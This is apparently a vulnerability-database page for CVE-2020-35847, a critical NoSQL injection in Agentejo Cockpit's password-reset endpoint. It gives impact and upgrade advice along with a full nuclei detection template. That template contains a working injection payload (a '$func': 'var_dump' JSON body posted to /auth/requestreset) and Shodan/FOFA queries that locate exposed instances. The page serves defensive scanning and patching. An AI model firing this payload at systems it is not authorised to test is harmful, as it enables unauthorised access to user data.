HexBrain

Browse / CVEs / CVE-2020-35847

CVE-2020-35847· agentejo / cockpit· CWE-89

Agentejo Cockpit <0.11.2 - NoSQL Injection

criticalseverity
9.8CVSS score
98.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, potentially leading to unauthorized access, data manipulation, or denial of service.

Fix

Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability.

How to confirm it

Send: POST /auth/requestreset
Positive when: matches in body_1 /string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"/ AND not matches in body_1 /string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"/ AND not matches in body_2 /string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"/

Run it with nuclei: nuclei -id CVE-2020-35847 -u <target>

The full check
id: CVE-2020-35847

info:
  name: Agentejo Cockpit <0.11.2 - NoSQL Injection
  author: dwisiswant0
  severity: critical
  description: |
    Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, potentially leading to unauthorized access, data manipulation, or denial of service.
  remediation: |
    Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/rce-cockpit-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35847
    - https://getcockpit.com/
    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35847
    cwe-id: CWE-89
    epss-score: 0.98165
    epss-percentile: 0.99913
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: agentejo
    product: cockpit
    shodan-query:
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo,vuln,vkev

http:
  - raw:
      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "$func": "var_dump"
          }
        }
      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "$func": "nonexistent_function"
          }
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body_1
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'

      - type: regex
        part: body_1
        negative: true
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"'

      - type: regex
        part: body_2
        negative: true
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from